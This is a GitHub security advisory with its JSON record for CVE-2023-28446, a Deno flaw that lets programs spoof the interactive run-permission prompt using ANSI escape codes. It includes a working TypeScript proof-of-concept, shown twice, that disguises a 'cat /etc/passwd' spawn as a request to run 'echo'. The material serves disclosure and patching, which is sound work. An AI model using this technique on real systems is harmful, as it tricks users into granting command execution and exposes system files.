ghsa-vq67-rp93-65qf
Vulnerability from github
Published
2023-03-24 22:06
Modified
2023-03-24 22:06
Summary
Interactive `run` permission prompt spoofing via improper ANSI neutralization
Details

Summary

Arbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a op_spawn_child or op_kill prompt and replace it with any desired text.

Details

The main entry point comes down to the ability to override what the API control says (40_process.js). Because of ANSI code's ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in op_kill.

PoC

This PoC works on 1.31.1, but modified versions of it work on older versions.

Make a file, e.g. index.ts, that uses this vulnerability to spoof the op_spawn_child permission prompt

```ts const boldANSI = "\u001b[1m" // bold const unboldANSI = "\u001b[22m" // unbold

const prompt = ┌ ⚠️ ${boldANSI}Deno requests run access to "echo"${unboldANSI} ├ Requested by \Deno.Command().output()`

const moveANSIUp = "\u001b[1A" // moves to the start of the line const clearANSI = "\u001b[2K" // clears the line const moveANSIStart = "\u001b[1000D" // moves to the start of the line

Deno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({ cmd: "cat", args: ["/etc/passwd"], clearEnv: false, env: [], stdin: "null", stdout: "inherit", stderr: "piped" }, moveANSIUp + clearANSI + moveANSIStart + prompt) ```

Run the file with deno run index.ts.

Impact

Any Deno program is able to spoof the interactive permission prompt for the op_spawn_child or the op_kill action (which indirectly gives access to all run commands) by overriding the Requested by {message} API with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:

`` // Expected Prompt ┌ ⚠️ Deno requests run access to "cat" ├ Requested byDeno.Command().output()` API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) >

// Actual Prompt ┌ ⚠️ Deno requests run access to "echo" ├ Requested by Deno.Command().output() API ├ Run again with --allow-run to bypass this prompt. └ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) > ```

This works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.

This problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).

Before v1.31.0, this requires the --unstable flag.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno_runtime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.31.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.31.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-28446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-150"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-24T22:06:01Z",
    "nvd_published_at": "2023-03-24T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nArbitrary program names without any ANSI filtering allows any malicious program to clear the first 2 lines of a `op_spawn_child` or `op_kill` prompt and replace it with any desired text.\n\n### Details\n\nThe main entry point comes down to the ability to override what the API control says ([40_process.js](https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175)). Because of ANSI code\u0027s ability to clear lines, a malicious program can clear the last 2 lines of the prompt and put their own header. This also works in `op_kill`.\n\n### PoC\n\nThis PoC works on 1.31.1, but modified versions of it work on older versions.\n\nMake a file, e.g. `index.ts`, that uses this vulnerability to spoof the `op_spawn_child` permission prompt\n\n```ts\nconst boldANSI = \"\\u001b[1m\" // bold\nconst unboldANSI = \"\\u001b[22m\" // unbold\n\nconst prompt = `\u250c \u26a0\ufe0f  ${boldANSI}Deno requests run access to \"echo\"${unboldANSI}\n\u251c Requested by \\`Deno.Command().output()`\n\nconst moveANSIUp = \"\\u001b[1A\" // moves to the start of the line\nconst clearANSI = \"\\u001b[2K\" // clears the line\nconst moveANSIStart = \"\\u001b[1000D\" // moves to the start of the line\n\nDeno[Object.getOwnPropertySymbols(Deno)[0]].core.ops.op_spawn_child({\n    cmd: \"cat\",\n    args: [\"/etc/passwd\"],\n    clearEnv: false,\n    env: [],\n    stdin: \"null\",\n    stdout: \"inherit\",\n    stderr: \"piped\"\n}, moveANSIUp + clearANSI + moveANSIStart + prompt)\n```\n\nRun the file with `deno run index.ts`.\n\n### Impact\nAny Deno program is able to spoof the interactive permission prompt for the `op_spawn_child` or the `op_kill` action (which indirectly gives access to all run commands) by overriding the `Requested by {message} API` with their own ANSI codes, allowing them to clear the latter prompt and change it to whatever they needed:\n\n```\n// Expected Prompt\n\u250c \u26a0\ufe0f  Deno requests run access to \"cat\"\n\u251c Requested by `Deno.Command().output()` API\n\u251c Run again with --allow-run to bypass this prompt.\n\u2514 Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n\n// Actual Prompt\n\u250c \u26a0\ufe0f  Deno requests run access to \"echo\"\n\u251c Requested by `Deno.Command().output()` API\n\u251c Run again with --allow-run to bypass this prompt.\n\u2514 Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all run permissions) \u003e\n```\n\nThis works with any command on the respective platform, giving the program the full ability to choose what program they wanted to run.\n\nThis problem can not be exploited on systems that do not attach an interactive prompt (for example headless servers).\n\nBefore `v1.31.0`, this requires the `--unstable` flag. \n",
  "id": "GHSA-vq67-rp93-65qf",
  "modified": "2023-03-24T22:06:01Z",
  "published": "2023-03-24T22:06:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-vq67-rp93-65qf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28446"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/blob/7d13d65468c37022f003bb680dfbddd07ea72173/runtime/js/40_process.js#L175"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v1.31.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Interactive `run` permission prompt spoofing via improper ANSI neutralization"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.